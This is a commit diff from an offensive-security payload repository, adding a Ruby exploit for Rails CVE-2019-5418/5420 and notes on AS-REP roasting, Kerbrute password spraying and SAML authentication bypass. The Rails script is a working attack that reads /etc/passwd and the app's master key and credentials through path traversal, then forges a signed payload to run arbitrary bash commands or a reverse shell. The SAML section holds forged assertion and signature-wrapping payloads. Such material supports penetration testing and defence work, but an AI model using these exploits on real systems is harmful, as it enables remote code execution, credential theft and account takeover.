mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
SAML exploitation + ASREP roasting + Kerbrute
This commit is contained in:
parent
9d3eccef48
commit
5d1b8bca79
156
CVE Exploits/Rails CVE-2019-5420.rb
Normal file
156
CVE Exploits/Rails CVE-2019-5420.rb
Normal file
@ -0,0 +1,156 @@
|
|||||||
|
require 'erb'
|
||||||
|
require "./demo-5.2.1/config/environment"
|
||||||
|
require "base64"
|
||||||
|
require 'net/http'
|
||||||
|
|
||||||
|
$proxy_addr = '127.0.0.1'
|
||||||
|
$proxy_port = 8080
|
||||||
|
|
||||||
|
$remote = "http://172.18.0.3:3000"
|
||||||
|
$ressource = "/demo"
|
||||||
|
|
||||||
|
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
|
||||||
|
|
||||||
|
print "[+] Checking if vulnerable to CVE-2019-5418 => "
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.body.include? "root:x:0:0:root:"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
else
|
||||||
|
puts "KO"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
print "[+] Getting file => credentials.yml.enc => "
|
||||||
|
path = "../../../../../../../../../../config/credentials.yml.enc{{"
|
||||||
|
for $i in 0..9
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = path[3..57]
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "200"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
|
||||||
|
break
|
||||||
|
end
|
||||||
|
path = path[3..57]
|
||||||
|
$i +=1;
|
||||||
|
end
|
||||||
|
|
||||||
|
print "[+] Getting file => master.key => "
|
||||||
|
path = "../../../../../../../../../../config/master.key{{"
|
||||||
|
for $i in 0..9
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = path[3..57]
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "200"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
File.open("master.key", 'w') { |file| file.write(res.body) }
|
||||||
|
break
|
||||||
|
end
|
||||||
|
path = path[3..57]
|
||||||
|
$i +=1;
|
||||||
|
end
|
||||||
|
|
||||||
|
print "[+] Decrypt secret_key_base => "
|
||||||
|
credentials_config_path = File.join("../", "credentials.yml.enc")
|
||||||
|
credentials_key_path = File.join("../", "master.key")
|
||||||
|
ENV["RAILS_MASTER_KEY"] = res.body
|
||||||
|
credentials = ActiveSupport::EncryptedConfiguration.new(
|
||||||
|
config_path: Rails.root.join(credentials_config_path),
|
||||||
|
key_path: Rails.root.join(credentials_key_path),
|
||||||
|
env_key: "RAILS_MASTER_KEY",
|
||||||
|
raise_if_missing_key: true
|
||||||
|
)
|
||||||
|
if credentials.secret_key_base != nil
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
puts ""
|
||||||
|
puts "secret_key_base": credentials.secret_key_base
|
||||||
|
puts ""
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "[+] Getting reflective command (R) or reverse shell (S) => "
|
||||||
|
loop do
|
||||||
|
begin
|
||||||
|
input = [(print 'Select option R or S: '), gets.rstrip][1]
|
||||||
|
if input == "R"
|
||||||
|
puts "Reflective command selected"
|
||||||
|
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
|
||||||
|
elsif input == "S"
|
||||||
|
puts "Reverse shell selected"
|
||||||
|
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
|
||||||
|
else
|
||||||
|
puts "No option selected"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
command_b64 = Base64.encode64(command)
|
||||||
|
|
||||||
|
print "[+] Generating payload CVE-2019-5420 => "
|
||||||
|
secret_key_base = credentials.secret_key_base
|
||||||
|
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
|
||||||
|
secret = key_generator.generate_key("ActiveStorage")
|
||||||
|
verifier = ActiveSupport::MessageVerifier.new(secret)
|
||||||
|
if input == "R"
|
||||||
|
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
|
||||||
|
else
|
||||||
|
code = "system('bash','-c','" + command + "')"
|
||||||
|
end
|
||||||
|
erb = ERB.allocate
|
||||||
|
erb.instance_variable_set :@src, code
|
||||||
|
erb.instance_variable_set :@filename, "1"
|
||||||
|
erb.instance_variable_set :@lineno, 1
|
||||||
|
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
|
||||||
|
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
puts ""
|
||||||
|
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
|
||||||
|
puts url
|
||||||
|
puts ""
|
||||||
|
|
||||||
|
print "[+] Sending request => "
|
||||||
|
uri = URI(url)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "500"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
else
|
||||||
|
puts "KO"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
if input == "R"
|
||||||
|
print "[+] Getting result of command => "
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "200"
|
||||||
|
puts "\033[92mOK\033[0m\n\n"
|
||||||
|
puts res.body
|
||||||
|
puts "\n"
|
||||||
|
else
|
||||||
|
puts "KO"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue Exception => e
|
||||||
|
puts "Exiting..."
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
end
|
@ -13,6 +13,7 @@
|
|||||||
|
|
||||||
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
|
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
|
- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
|
||||||
|
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)
|
||||||
|
|
||||||
## JWT Format
|
## JWT Format
|
||||||
|
|
||||||
@ -228,3 +229,6 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
|||||||
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
|
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
|
||||||
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
|
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
|
||||||
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
|
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
|
||||||
|
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
|
||||||
|
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
|
||||||
|
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
@ -13,6 +13,7 @@
|
|||||||
* [Silver Tickets](#passtheticket-silver-tickets)
|
* [Silver Tickets](#passtheticket-silver-tickets)
|
||||||
* [Trust Tickets](#trust-tickets)
|
* [Trust Tickets](#trust-tickets)
|
||||||
* [Kerberoast](#kerberoast)
|
* [Kerberoast](#kerberoast)
|
||||||
|
* [KRB_AS_REP roasting](#krb_as_rep-roasting)
|
||||||
* [Pass-the-Hash](#pass-the-hash)
|
* [Pass-the-Hash](#pass-the-hash)
|
||||||
* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
|
* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
|
||||||
* [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
|
* [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
|
||||||
@ -20,6 +21,7 @@
|
|||||||
* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
|
* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
|
||||||
* [Trust relationship between domains](#trust-relationship-between-domains)
|
* [Trust relationship between domains](#trust-relationship-between-domains)
|
||||||
* [PrivExchange attack](#privexchange-attack)
|
* [PrivExchange attack](#privexchange-attack)
|
||||||
|
* [Password spraying](#password-spraying)
|
||||||
* [Privilege Escalation](#privilege-escalation)
|
* [Privilege Escalation](#privilege-escalation)
|
||||||
* [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato)
|
* [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato)
|
||||||
* [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
|
* [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
|
||||||
@ -74,6 +76,12 @@
|
|||||||
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
|
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
|
||||||
```
|
```
|
||||||
|
|
||||||
|
* [Kerbrute](https://github.com/ropnop/kerbrute)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
|
||||||
|
```
|
||||||
|
|
||||||
## Most common paths to AD compromise
|
## Most common paths to AD compromise
|
||||||
|
|
||||||
### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
|
### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
|
||||||
@ -380,6 +388,42 @@ hashcat -m 13100 -a 0 hash.txt crackstation.txt
|
|||||||
./john ~/hash.txt --wordlist=rockyou.lst
|
./john ~/hash.txt --wordlist=rockyou.lst
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### KRB_AS_REP Roasting
|
||||||
|
|
||||||
|
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
|
||||||
|
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user
|
||||||
|
|
||||||
|
______ _
|
||||||
|
(_____ \ | |
|
||||||
|
_____) )_ _| |__ _____ _ _ ___
|
||||||
|
| __ /| | | | _ \| ___ | | | |/___)
|
||||||
|
| | \ \| |_| | |_) ) ____| |_| |___ |
|
||||||
|
|_| |_|____/|____/|_____)____/(___/
|
||||||
|
|
||||||
|
v1.3.4
|
||||||
|
|
||||||
|
|
||||||
|
[*] Action: AS-REP roasting
|
||||||
|
|
||||||
|
[*] Target User : TestOU3user
|
||||||
|
[*] Target Domain : testlab.local
|
||||||
|
|
||||||
|
[*] SamAccountName : TestOU3user
|
||||||
|
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
|
||||||
|
[*] Using domain controller: testlab.local (192.168.52.100)
|
||||||
|
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
|
||||||
|
[*] Connecting to 192.168.52.100:88
|
||||||
|
[*] Sent 169 bytes
|
||||||
|
[*] Received 1437 bytes
|
||||||
|
[+] AS-REQ w/o preauth successful!
|
||||||
|
[*] AS-REP hash:
|
||||||
|
|
||||||
|
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
|
||||||
|
```
|
||||||
|
|
||||||
### Pass-the-Hash
|
### Pass-the-Hash
|
||||||
|
|
||||||
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
|
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
|
||||||
@ -498,6 +542,16 @@ Alternatively you can use the Metasploit module
|
|||||||
|
|
||||||
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
|
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
|
||||||
|
|
||||||
|
### Password spraying
|
||||||
|
|
||||||
|
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
|
||||||
|
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## Privilege Escalation
|
## Privilege Escalation
|
||||||
|
|
||||||
### PrivEsc Local Admin - Token Impersonation (RottenPotato)
|
### PrivEsc Local Admin - Token Impersonation (RottenPotato)
|
||||||
|
BIN
SAML Injection/Images/SAML-xml-flaw.png
Normal file
BIN
SAML Injection/Images/SAML-xml-flaw.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 8.7 KiB |
168
SAML Injection/README.md
Normal file
168
SAML Injection/README.md
Normal file
@ -0,0 +1,168 @@
|
|||||||
|
# SAML Injection
|
||||||
|
|
||||||
|
> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Authentication Bypass](#authentication-bypass)
|
||||||
|
* [Invalid Signature](#invalid-signature)
|
||||||
|
* [Signature Stripping](#signature-stripping)
|
||||||
|
* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
|
||||||
|
* [XML Comment Handling](#xml-comment-handling)
|
||||||
|
* [XML External Entity](#xml-external-entity)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
|
||||||
|
|
||||||
|
|
||||||
|
## Authentication Bypass
|
||||||
|
|
||||||
|
A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
|
||||||
|
|
||||||
|
### Invalid Signature
|
||||||
|
|
||||||
|
Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
|
||||||
|
|
||||||
|
### Signature Stripping
|
||||||
|
|
||||||
|
> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
|
||||||
|
|
||||||
|
The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.
|
||||||
|
|
||||||
|
Example of SAML assertion where `NameID=admin` without signature.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
|
||||||
|
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
|
||||||
|
<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||||
|
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
|
||||||
|
</saml2p:Status>
|
||||||
|
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
|
||||||
|
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
|
||||||
|
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
|
||||||
|
<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
|
||||||
|
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
|
||||||
|
<saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
|
||||||
|
</saml2:SubjectConfirmation>
|
||||||
|
</saml2:Subject>
|
||||||
|
<saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
|
||||||
|
<saml2:AudienceRestriction>
|
||||||
|
<saml2:Audience>WLS_SP</saml2:Audience>
|
||||||
|
</saml2:AudienceRestriction>
|
||||||
|
</saml2:Conditions>
|
||||||
|
<saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
|
||||||
|
<saml2:AuthnContext>
|
||||||
|
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
|
||||||
|
</saml2:AuthnContext>
|
||||||
|
</saml2:AuthnStatement>
|
||||||
|
</saml2:Assertion>
|
||||||
|
</saml2p:Response>
|
||||||
|
```
|
||||||
|
|
||||||
|
### XML Signature Wrapping Attacks
|
||||||
|
|
||||||
|
XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
|
||||||
|
|
||||||
|
- XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
|
||||||
|
- XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
|
||||||
|
- XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
|
||||||
|
- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion after the existing Assertion.
|
||||||
|
- XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
|
||||||
|
- XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
|
||||||
|
- XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
|
||||||
|
- XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
|
||||||
|
|
||||||
|
|
||||||
|
In the following example, these terms are used.
|
||||||
|
|
||||||
|
- FA: Forged Assertion
|
||||||
|
- LA: Legitimate Assertion
|
||||||
|
- LAS: Signature of the Legitimate Assertion
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<SAMLResponse>
|
||||||
|
<FA ID="evil">
|
||||||
|
<Subject>Attacker</Subject>
|
||||||
|
</FA>
|
||||||
|
<LA ID="legitimate">
|
||||||
|
<Subject>Legitimate User</Subject>
|
||||||
|
<LAS>
|
||||||
|
<Reference Reference URI="legitimate">
|
||||||
|
</Reference>
|
||||||
|
</LAS>
|
||||||
|
</LA>
|
||||||
|
</SAMLResponse>
|
||||||
|
```
|
||||||
|
|
||||||
|
In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.
|
||||||
|
|
||||||
|
|
||||||
|
### XML Comment Handling
|
||||||
|
|
||||||
|
A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.
|
||||||
|
|
||||||
|
- OneLogin - python-saml - CVE-2017-11427
|
||||||
|
- OneLogin - ruby-saml - CVE-2017-11428
|
||||||
|
- Clever - saml2-js - CVE-2017-11429
|
||||||
|
- OmniAuth-SAML - CVE-2017-11430
|
||||||
|
- Shibboleth - CVE-2018-0489
|
||||||
|
- Duo Network Gateway - CVE-2018-7340
|
||||||
|
|
||||||
|
Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<SAMLResponse>
|
||||||
|
<Issuer>https://idp.com/</Issuer>
|
||||||
|
<Assertion ID="_id1234">
|
||||||
|
<Subject>
|
||||||
|
<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
|
||||||
|
```
|
||||||
|
Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
|
||||||
|
|
||||||
|
### XML External Entity
|
||||||
|
|
||||||
|
An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
|
||||||
|
|
||||||
|
In the following example:
|
||||||
|
- `&s;` will resolve to the string `"s"`
|
||||||
|
- `&f1;` will resolve to the string `"f1"`
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE Response [
|
||||||
|
<!ENTITY s "s">
|
||||||
|
<!ENTITY f1 "f1">
|
||||||
|
]>
|
||||||
|
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
|
||||||
|
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
|
||||||
|
ID="_04cfe67e596b7449d05755049ba9ec28"
|
||||||
|
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
|
||||||
|
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
|
||||||
|
[...]
|
||||||
|
<saml2:Attribute FriendlyName="uid"
|
||||||
|
Name="urn:oid:0.9.2342.19200300.100.1.1"
|
||||||
|
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
||||||
|
<saml2:AttributeValue>
|
||||||
|
&s;taf&f1;
|
||||||
|
</saml2:AttributeValue>
|
||||||
|
</saml2:Attribute>
|
||||||
|
[...]
|
||||||
|
</saml2p:Response>
|
||||||
|
```
|
||||||
|
|
||||||
|
The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
|
||||||
|
- [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml)
|
||||||
|
- [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
|
||||||
|
- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
|
||||||
|
- [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/)
|
||||||
|
- [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/)
|
||||||
|
- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
|
||||||
|
- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
|
||||||
|
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
|
@ -2,17 +2,18 @@
|
|||||||
|
|
||||||
> Vulnerability description - reference
|
> Vulnerability description - reference
|
||||||
|
|
||||||
Tools:
|
|
||||||
|
|
||||||
- [Tool name - description](https://example.com)
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Something](#something)
|
- [Tools](#tools)
|
||||||
* [Something](#something)
|
* [Something](#something)
|
||||||
* [Subentry 1](#sub1)
|
* [Subentry 1](#sub1)
|
||||||
* [Subentry 2](#sub2)
|
* [Subentry 2](#sub2)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [Tool 1](https://example.com)
|
||||||
|
- [Tool 2](https://example.com)
|
||||||
|
|
||||||
## Something
|
## Something
|
||||||
|
|
||||||
Quick explanation
|
Quick explanation
|
||||||
|
Loading…
Reference in New Issue
Block a user